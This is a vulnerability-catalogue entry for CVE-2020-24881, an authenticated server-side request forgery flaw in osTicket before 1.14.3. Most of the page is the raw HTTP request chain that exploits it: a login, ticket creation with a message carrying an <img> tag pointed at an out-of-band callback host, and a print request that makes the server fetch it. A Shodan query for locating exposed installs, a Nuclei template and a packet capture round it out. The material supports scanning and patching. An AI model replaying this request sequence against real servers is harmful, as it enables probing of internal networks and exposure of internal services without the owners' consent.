| Title | OsTicket < 1.14.3 - Server Side Request Forgery |
|---|---|
| Author | hnd3884 |
| Severity | Critical |
| Impact | Authenticated attackers can perform SSRF attacks to scan internal ports, access internal services, or retrieve sensitive information from internal systems. |
| Remediation | Upgrade to osTicket version 1.14.3 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90915 |
| CVE ID | CVE-2020-24881 |
| CWE ID | CWE-918 |
| Shodan Query | title:"osticket" |
| Tags | cve cve2020 osticket ssrf authenticated vuln |
SSRF vulnerability exists in osTicket before 1.14.3, allowing an attacker to add malicious files to the server or perform port scanning.
GET /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip
POST /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
__CSRFToken__=TUUafF&luser=EjSSOw&lpasswd=UAiw8n
GET /open.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept-Encoding: gzip
GET /ajax.php/form/help-topic/feFg2T HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Referer: http://www.victim.com/open.php
Accept-Encoding: gzip
POST /open.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 826
Content-Type: multipart/form-data; boundary=---------------------------266856663522356381601517168829
Accept-Encoding: gzip
-----------------------------266856663522356381601517168829
Content-Disposition: form-data; name="__CSRFToken__"
sMMRWa
-----------------------------266856663522356381601517168829
Content-Disposition: form-data; name="a"
open
-----------------------------266856663522356381601517168829
Content-Disposition: form-data; name="topicId"
feFg2T
-----------------------------266856663522356381601517168829
Content-Disposition: form-data; name="NDIaqa"
1
-----------------------------266856663522356381601517168829
Content-Disposition: form-data; name="message"
<img src="https://11111.d5jooqple0o39c5skrt06qjermb6d5hxz.oast.fun">
-----------------------------266856663522356381601517168829
Content-Disposition: form-data; name="draft_id"
-----------------------------266856663522356381601517168829--
GET /tickets.php?a=print&id=RNAya5 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24881.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-24881.pcap
N/AN/A